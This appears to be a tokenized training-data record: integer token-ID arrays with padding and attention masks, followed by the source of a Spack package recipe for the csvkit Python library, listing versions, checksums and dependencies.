[ 504, 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 504, 1275, 815, 492, 636, 1301, 363, 199, 504, 2680, 14, 1023, 492, 1015, 465, 636, 1023, 363, 199, 199, 3, 28421, 3232, 7847, 1179, 18702, 4260, 402, 314, 2446, 2462, 626, 10976, 199, 3, 2366, 7183, 503, 10358, 370, 1373, 6170, 199, 646, 747, 199, 1813, 63, 3270, 275, 942, 199, 509, 2589, 498, 315, 788, 9935, 7847, 1179, 63, 5848, 63, 28170, 297, 283, 39, 1387, 5488, 44, 1179, 63, 5848, 63, 28170, 2565, 272, 340, 2589, 498, 440, 315, 747, 14, 2314, 26, 267, 747, 14, 2314, 59, 1813, 498, 61, 275, 283, 17, 7, 267, 2589, 63, 3270, 14, 740, 8, 1813, 498, 9, 199, 199, 893, 26, 272, 687, 1275, 492, 3510, 1144, 199, 2590, 3545, 465, 3178, 26, 272, 1499, 275, 408, 199, 6295, 316, 314, 3510, 1144, 2680, 3329, 859, 3405, 14, 221, 17536, 199, 24227, 1265, 787, 9936, 370, 492, 282, 3405, 1900, 402, 2680, 14, 199, 3917, 1265, 3984, 6449, 543, 282, 2680, 6135, 3831, 12, 862, 658, 3187, 3633, 446, 10418, 64, 334, 264, 4912, 1006, 199, 1725, 440, 1334, 1015, 3304, 680, 221, 6630, 295, 3174, 2680, 14, 199, 199, 17286, 1125, 1990, 26, 450, 83, 199, 624, 450, 334, 2804, 4258, 272, 746, 3545, 8, 1328, 9, 199, 199, 509, 2589, 498, 315, 2589, 63, 3270, 26, 272, 2150, 747, 14, 2314, 59, 1813, 498, 61, 199, 2264, 2589, 498, 199, 2264, 2589, 63, 3270, 199, 2264, 747, 199, 199, 504, 1275, 492, 399, 3442, 199, 504, 1275, 492, 485, 4672, 221, 327, 367, 22778, 18572, 199, 504, 1275, 492, 10330, 322, 9798, 465, 13377, 199, 23698, 14, 409, 63, 466, 2141, 8, 343, 14, 83, 3667, 2141, 9, 199, 504, 1275, 492, 8950, 199, 504, 1275, 6677, 492, 627, 199, 504, 1275, 492, 687, 6677, 199, 504, 1275, 504, 6677, 492, 627, 199, 504, 1275, 492, 347, 1560, 1144, 465, 1495, 199, 504, 1275, 492, 5767, 465, 6488, 199, 504, 1275, 6502, 492, 627, 199, 504, 1275, 5286, 1130, 492, 627, 199, 504, 1275, 318, 1560, 1144, 492, 1495, 1144, 199, 504, 1275, 492, 805, 63, 1095, 199, 504, 1275, 1593, 63, 1095, 492, 627, 199, 504, 1275, 492, 610, 1560, 199, 504, 1275, 391, 1560, 492, 627, 199, 504, 1275, 492, 664, 9368, 199, 504, 1275, 362, 9368, 492, 627, 199, 504, 1275, 492, 2215, 63, 1095, 199, 504, 1275, 1392, 63, 1095, 492, 627, 199, 504, 1275, 492, 325, 19788, 1532, 199, 504, 1275, 22404, 1532, 492, 627, 199, 2264, 13377, 199, 199, 504, 1275, 504, 6677, 492, 282, 988, 465, 1390, 12, 282, 827, 465, 1748, 12, 6168, 63, 465, 6168, 199, 504, 1275, 6677, 492, 3679, 465, 2853, 199, 199, 363, 452, 363, 275, 788, 1560, 297, 283, 2761, 297, 283, 5286, 1130, 418, 199, 363, 452, 363, 847, 8950, 855, 452, 363, 199, 363, 452, 363, 847, 687, 6677, 855, 452, 363, 199, 363, 452, 363, 847, 6488, 855, 452, 363, 199, 363, 452, 363, 847, 788, 1560, 1144, 418, 199, 363, 452, 363, 847, 805, 63, 1095, 855, 452, 363, 199, 363, 452, 363, 847, 610, 1560, 855, 452, 363, 199, 363, 452, 363, 847, 664, 9368, 855, 452, 363, 199, 363, 452, 363, 847, 2215, 63, 1095, 855, 452, 363, 199, 363, 452, 363, 847, 325, 19788, 1532, 855, 452, 363, 421, 199, 504, 2680, 14, 4776, 14, 21085, 8234, 492, 485, 4714, 63, 8234, 199, 396, 275, 485, 4714, 63, 8234, 1252, 396, 199, 16571, 275, 485, 4714, 63, 8234, 1252, 16571, 199, 199, 3, 4155, 652, 3962, 880, 626, 399, 9204, 883, 506, 18731, 199, 3, 221, 11842, 787, 314, 8697, 436, 625, 8786, 3423, 199, 3, 710, 536, 2680, 14, 1018, 423, 18810, 63, 264, 8514, 1471, 506, 199, 3, 257, 2808, 367, 625, 24773, 370, 1736, 14, 199, 318, 485, 18810, 63, 264, 8514, 8, 578, 12, 536, 304, 272, 327, 710, 658, 504, 513, 64, 17582, 365, 1415, 370, 4868, 626, 658, 1494, 64, 4501, 370, 314, 272, 327, 6506, 13, 2786, 859, 7830, 2419, 314, 1676, 2559, 1380, 859, 536, 365, 272, 327, 6032, 14, 961, 7704, 652, 3962, 370, 5927, 2222, 13, 13517, 399, 9204, 4066, 465, 272, 327, 7026, 14, 6664, 14, 1474, 390, 367, 1256, 14, 272, 3413, 275, 636, 646, 721, 578, 12, 25321, 1524, 354, 566, 272, 372, 2519, 8, 1494, 12, 536, 9, 199, 199, 318, 485, 18810, 63, 5270, 8, 1532, 304, 272, 687, 5927, 492, 1314, 578, 272, 536, 275, 2562, 855, 354, 363, 272, 372, 485, 18810, 63, 264, 8514, 12, 334, 6777, 578, 8, 1532, 12, 536, 395, 536, 9, 421, 199, 646, 984, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 2356, 650, 26, 272, 492, 1331, 1135, 199, 2836, 26, 272, 492, 1331, 63, 1135, 465, 1331, 1135, 199, 199, 1574, 1135, 14, 8092, 8, 18810, 12, 485, 18810, 63, 5270, 12, 485, 18810, 63, 264, 8514, 9, 199, 3, 1910, 429, 18404, 3231, 334, 7790, 4215, 485, 18810, 63, 264, 8514, 367, 625, 24773, 9, 199, 2264, 1331, 1135, 199, 2264, 984, 199, 2264, 485, 18810, 63, 5270, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 504, 1275, 815, 492, 636, 1301, 363, 199, 504, 2680, 14, 1023, 492, 1015, 465, 636, 1023, 363, 199, 199, 3, 28421, 3232, 7847, 1179, 18702, 4260, 402, 314, 2446, 2462, 626, 10976, 199, 3, 2366, 7183, 503, 10358, 370, 1373, 6170, 199, 646, 747, 199, 1813, 63, 3270, 275, 942, 199, 509, 2589, 498, 315, 788, 9935, 7847, 1179, 63, 5848, 63, 28170, 297, 283, 39, 1387, 5488, 44, 1179, 63, 5848, 63, 28170, 2565, 272, 340, 2589, 498, 440, 315, 747, 14, 2314, 26, 267, 747, 14, 2314, 59, 1813, 498, 61, 275, 283, 17, 7, 267, 2589, 63, 3270, 14, 740, 8, 1813, 498, 9, 199, 199, 893, 26, 272, 687, 1275, 492, 3510, 1144, 199, 2590, 3545, 465, 3178, 26, 272, 1499, 275, 408, 199, 6295, 316, 314, 3510, 1144, 2680, 3329, 859, 3405, 14, 221, 17536, 199, 24227, 1265, 787, 9936, 370, 492, 282, 3405, 1900, 402, 2680, 14, 199, 3917, 1265, 3984, 6449, 543, 282, 2680, 6135, 3831, 12, 862, 658, 3187, 3633, 446, 10418, 64, 334, 264, 4912, 1006, 199, 1725, 440, 1334, 1015, 3304, 680, 221, 6630, 295, 3174, 2680, 14, 199, 199, 17286, 1125, 1990, 26, 450, 83, 199, 624, 450, 334, 2804, 4258, 272, 746, 3545, 8, 1328, 9, 199, 199, 509, 2589, 498, 315, 2589, 63, 3270, 26, 272, 2150, 747, 14, 2314, 59, 1813, 498, 61, 199, 2264, 2589, 498, 199, 2264, 2589, 63, 3270, 199, 2264, 747, 199, 199, 504, 1275, 492, 399, 3442, 199, 504, 1275, 492, 485, 4672, 221, 327, 367, 22778, 18572, 199, 504, 1275, 492, 10330, 322, 9798, 465, 13377, 199, 23698, 14, 409, 63, 466, 2141, 8, 343, 14, 83, 3667, 2141, 9, 199, 504, 1275, 492, 8950, 199, 504, 1275, 6677, 492, 627, 199, 504, 1275, 492, 687, 6677, 199, 504, 1275, 504, 6677, 492, 627, 199, 504, 1275, 492, 347, 1560, 1144, 465, 1495, 199, 504, 1275, 492, 5767, 465, 6488, 199, 504, 1275, 6502, 492, 627, 199, 504, 1275, 5286, 1130, 492, 627, 199, 504, 1275, 318, 1560, 1144, 492, 1495, 1144, 199, 504, 1275, 492, 805, 63, 1095, 199, 504, 1275, 1593, 63, 1095, 492, 627, 199, 504, 1275, 492, 610, 1560, 199, 504, 1275, 391, 1560, 492, 627, 199, 504, 1275, 492, 664, 9368, 199, 504, 1275, 362, 9368, 492, 627, 199, 504, 1275, 492, 2215, 63, 1095, 199, 504, 1275, 1392, 63, 1095, 492, 627, 199, 504, 1275, 492, 325, 19788, 1532, 199, 504, 1275, 22404, 1532, 492, 627, 199, 2264, 13377, 199, 199, 504, 1275, 504, 6677, 492, 282, 988, 465, 1390, 12, 282, 827, 465, 1748, 12, 6168, 63, 465, 6168, 199, 504, 1275, 6677, 492, 3679, 465, 2853, 199, 199, 363, 452, 363, 275, 788, 1560, 297, 283, 2761, 297, 283, 5286, 1130, 418, 199, 363, 452, 363, 847, 8950, 855, 452, 363, 199, 363, 452, 363, 847, 687, 6677, 855, 452, 363, 199, 363, 452, 363, 847, 6488, 855, 452, 363, 199, 363, 452, 363, 847, 788, 1560, 1144, 418, 199, 363, 452, 363, 847, 805, 63, 1095, 855, 452, 363, 199, 363, 452, 363, 847, 610, 1560, 855, 452, 363, 199, 363, 452, 363, 847, 664, 9368, 855, 452, 363, 199, 363, 452, 363, 847, 2215, 63, 1095, 855, 452, 363, 199, 363, 452, 363, 847, 325, 19788, 1532, 855, 452, 363, 421, 199, 504, 2680, 14, 4776, 14, 21085, 8234, 492, 485, 4714, 63, 8234, 199, 396, 275, 485, 4714, 63, 8234, 1252, 396, 199, 16571, 275, 485, 4714, 63, 8234, 1252, 16571, 199, 199, 3, 4155, 652, 3962, 880, 626, 399, 9204, 883, 506, 18731, 199, 3, 221, 11842, 787, 314, 8697, 436, 625, 8786, 3423, 199, 3, 710, 536, 2680, 14, 1018, 423, 18810, 63, 264, 8514, 1471, 506, 199, 3, 257, 2808, 367, 625, 24773, 370, 1736, 14, 199, 318, 485, 18810, 63, 264, 8514, 8, 578, 12, 536, 304, 272, 327, 710, 658, 504, 513, 64, 17582, 365, 1415, 370, 4868, 626, 658, 1494, 64, 4501, 370, 314, 272, 327, 6506, 13, 2786, 859, 7830, 2419, 314, 1676, 2559, 1380, 859, 536, 365, 272, 327, 6032, 14, 961, 7704, 652, 3962, 370, 5927, 2222, 13, 13517, 399, 9204, 4066, 465, 272, 327, 7026, 14, 6664, 14, 1474, 390, 367, 1256, 14, 272, 3413, 275, 636, 646, 721, 578, 12, 25321, 1524, 354, 566, 272, 372, 2519, 8, 1494, 12, 536, 9, 199, 199, 318, 485, 18810, 63, 5270, 8, 1532, 304, 272, 687, 5927, 492, 1314, 578, 272, 536, 275, 2562, 855, 354, 363, 272, 372, 485, 18810, 63, 264, 8514, 12, 334, 6777, 578, 8, 1532, 12, 536, 395, 536, 9, 421, 199, 646, 984, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 2356, 650, 26, 272, 492, 1331, 1135, 199, 2836, 26, 272, 492, 1331, 63, 1135, 465, 1331, 1135, 199, 199, 1574, 1135, 14, 8092, 8, 18810, 12, 485, 18810, 63, 5270, 12, 485, 18810, 63, 264, 8514, 9, 199, 3, 1910, 429, 18404, 3231, 334, 7790, 4215, 485, 18810, 63, 264, 8514, 367, 625, 24773, 9, 199, 2264, 1331, 1135, 199, 2264, 984, 199, 2264, 485, 18810, 63, 5270, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
iulian787/spack
var/spack/repos/builtin/packages/py-csvkit/package.py
5
1739
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PyCsvkit(PythonPackage): """A library of utilities for working with CSV, the king of tabular file formats""" homepage = 'http://csvkit.rtfd.org/' url = "https://pypi.io/packages/source/c/csvkit/csvkit-0.9.1.tar.gz" version('1.0.4', sha256='1353a383531bee191820edfb88418c13dfe1cdfa9dd3dc46f431c05cd2a260a0') version('0.9.1', sha256='92f8b8647becb5cb1dccb3af92a13a4e85702d42ba465ce8447881fb38c9f93a') depends_on('py-setuptools', type=('build', 'run')) depends_on('py-six@1.6.1:', type=('build', 'run')) depends_on('py-argparse@1.2.1:', type=('build', 'run'), when='^python@:2.6') depends_on('py-ordereddict@1.1:', type=('build', 'run'), when='^python@:2.6') depends_on('py-simplejson@3.6.3:', type=('build', 'run'), when='^python@:2.6') depends_on('py-python-dateutil@2.2', type=('build', 'run'), when='@0.9.1') depends_on('py-dbf@0.94.003', type=('build', 'run'), when='@0.9.1') depends_on('py-xlrd@0.7.1:', type=('build', 'run'), when='@0.9.1') depends_on('py-sqlalchemy@0.6.6:', type=('build', 'run'), when='@0.9.1') depends_on('py-openpyxl@2.2.0-b1', type=('build', 'run'), when='@0.9.1') depends_on('py-agate@1.6.1:', type=('build', 'run'), when='@1:') depends_on('py-agate-excel@0.2.2:', type=('build', 'run'), when='@1:') depends_on('py-agate-dbf@0.2.0:', type=('build', 'run'), when='@1:') depends_on('py-agate-sql@0.5.3:', type=('build', 'run'), when='@1:')
lgpl-2.1
[ 3, 1898, 6171, 13, 13934, 7964, 29590, 491, 4380, 6878, 20548, 13863, 12, 20376, 436, 1163, 199, 3, 428, 1389, 7290, 23493, 14, 1666, 314, 2746, 13, 1896, 5877, 570, 367, 2436, 14, 199, 3, 199, 3, 6988, 19596, 13, 3761, 13, 7544, 26, 334, 28993, 13, 18, 14, 16, 1549, 10697, 9, 199, 199, 504, 308, 1389, 492, 627, 421, 199, 533, 1611, 35, 2772, 6065, 8, 4718, 8599, 304, 272, 408, 33, 3555, 402, 15841, 367, 6449, 543, 14689, 12, 314, 1022, 316, 402, 5174, 2238, 570, 272, 6752, 624, 339, 26586, 275, 283, 1014, 921, 4737, 6065, 14, 2591, 2592, 14, 1308, 4805, 272, 1166, 420, 275, 298, 2859, 921, 17343, 14, 2308, 15, 5154, 15, 1365, 15, 67, 15, 4737, 6065, 15, 4737, 6065, 13, 16, 14, 25, 14, 17, 14, 5369, 14, 6838, 2, 339, 1015, 360, 17, 14, 16, 14, 20, 297, 7793, 3912, 534, 969, 2481, 65, 1703, 1276, 2192, 19446, 1167, 1085, 1165, 379, 4675, 16303, 1085, 67, 969, 68, 771, 17, 2866, 667, 25, 617, 19, 3833, 2466, 70, 32042, 67, 1717, 2866, 18, 65, 13085, 65, 16, 358, 272, 1015, 360, 16, 14, 25, 14, 17, 297, 7793, 3912, 534, 2942, 70, 24, 66, 24, 8557, 24554, 66, 21, 2894, 17, 68, 32594, 19, 2756, 2942, 65, 969, 65, 20, 69, 25294, 996, 68, 2260, 2470, 22474, 301, 1349, 2417, 18388, 4675, 1703, 67, 25, 70, 3129, 65, 358, 339, 8350, 63, 265, 360, 647, 13, 13623, 297, 3515, 730, 7782, 1506, 297, 283, 1065, 1333, 272, 8350, 63, 265, 360, 647, 13, 4174, 32, 17, 14, 22, 14, 17, 6536, 3515, 730, 7782, 1506, 297, 283, 1065, 1333, 272, 8350, 63, 265, 360, 647, 13, 18978, 32, 17, 14, 18, 14, 17, 6536, 258, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 62, 1548, 32, 26, 18, 14, 22, 358, 272, 8350, 63, 265, 360, 647, 13, 8235, 807, 32, 17, 14, 17, 6536, 259, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 62, 1548, 32, 26, 18, 14, 22, 358, 272, 8350, 63, 265, 360, 647, 13, 4129, 1001, 32, 19, 14, 22, 14, 19, 6536, 257, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 62, 1548, 32, 26, 18, 14, 22, 358, 272, 8350, 63, 265, 360, 647, 13, 1548, 13, 602, 1974, 32, 18, 14, 18, 297, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 26826, 32, 16, 14, 2635, 14, 8262, 297, 263, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 15455, 6883, 32, 16, 14, 23, 14, 17, 6536, 260, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 14536, 32, 16, 14, 22, 14, 22, 6536, 257, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 1490, 647, 15455, 32, 18, 14, 18, 14, 16, 13, 66, 17, 297, 257, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 32, 17, 14, 22, 14, 17, 6536, 263, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 13, 28330, 32, 16, 14, 18, 14, 18, 6536, 221, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 13, 26826, 32, 16, 14, 18, 14, 16, 6536, 259, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 13, 3009, 32, 16, 14, 21, 14, 19, 6536, 259, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6171, 13, 13934, 7964, 29590, 491, 4380, 6878, 20548, 13863, 12, 20376, 436, 1163, 199, 3, 428, 1389, 7290, 23493, 14, 1666, 314, 2746, 13, 1896, 5877, 570, 367, 2436, 14, 199, 3, 199, 3, 6988, 19596, 13, 3761, 13, 7544, 26, 334, 28993, 13, 18, 14, 16, 1549, 10697, 9, 199, 199, 504, 308, 1389, 492, 627, 421, 199, 533, 1611, 35, 2772, 6065, 8, 4718, 8599, 304, 272, 408, 33, 3555, 402, 15841, 367, 6449, 543, 14689, 12, 314, 1022, 316, 402, 5174, 2238, 570, 272, 6752, 624, 339, 26586, 275, 283, 1014, 921, 4737, 6065, 14, 2591, 2592, 14, 1308, 4805, 272, 1166, 420, 275, 298, 2859, 921, 17343, 14, 2308, 15, 5154, 15, 1365, 15, 67, 15, 4737, 6065, 15, 4737, 6065, 13, 16, 14, 25, 14, 17, 14, 5369, 14, 6838, 2, 339, 1015, 360, 17, 14, 16, 14, 20, 297, 7793, 3912, 534, 969, 2481, 65, 1703, 1276, 2192, 19446, 1167, 1085, 1165, 379, 4675, 16303, 1085, 67, 969, 68, 771, 17, 2866, 667, 25, 617, 19, 3833, 2466, 70, 32042, 67, 1717, 2866, 18, 65, 13085, 65, 16, 358, 272, 1015, 360, 16, 14, 25, 14, 17, 297, 7793, 3912, 534, 2942, 70, 24, 66, 24, 8557, 24554, 66, 21, 2894, 17, 68, 32594, 19, 2756, 2942, 65, 969, 65, 20, 69, 25294, 996, 68, 2260, 2470, 22474, 301, 1349, 2417, 18388, 4675, 1703, 67, 25, 70, 3129, 65, 358, 339, 8350, 63, 265, 360, 647, 13, 13623, 297, 3515, 730, 7782, 1506, 297, 283, 1065, 1333, 272, 8350, 63, 265, 360, 647, 13, 4174, 32, 17, 14, 22, 14, 17, 6536, 3515, 730, 7782, 1506, 297, 283, 1065, 1333, 272, 8350, 63, 265, 360, 647, 13, 18978, 32, 17, 14, 18, 14, 17, 6536, 258, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 62, 1548, 32, 26, 18, 14, 22, 358, 272, 8350, 63, 265, 360, 647, 13, 8235, 807, 32, 17, 14, 17, 6536, 259, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 62, 1548, 32, 26, 18, 14, 22, 358, 272, 8350, 63, 265, 360, 647, 13, 4129, 1001, 32, 19, 14, 22, 14, 19, 6536, 257, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 62, 1548, 32, 26, 18, 14, 22, 358, 272, 8350, 63, 265, 360, 647, 13, 1548, 13, 602, 1974, 32, 18, 14, 18, 297, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 26826, 32, 16, 14, 2635, 14, 8262, 297, 263, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 15455, 6883, 32, 16, 14, 23, 14, 17, 6536, 260, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 14536, 32, 16, 14, 22, 14, 22, 6536, 257, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 1490, 647, 15455, 32, 18, 14, 18, 14, 16, 13, 66, 17, 297, 257, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 16, 14, 25, 14, 17, 358, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 32, 17, 14, 22, 14, 17, 6536, 263, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 13, 28330, 32, 16, 14, 18, 14, 18, 6536, 221, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 13, 26826, 32, 16, 14, 18, 14, 16, 6536, 259, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 272, 8350, 63, 265, 360, 647, 13, 643, 323, 13, 3009, 32, 16, 14, 21, 14, 19, 6536, 259, 730, 7782, 1506, 297, 283, 1065, 659, 1380, 534, 32, 17, 10993, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 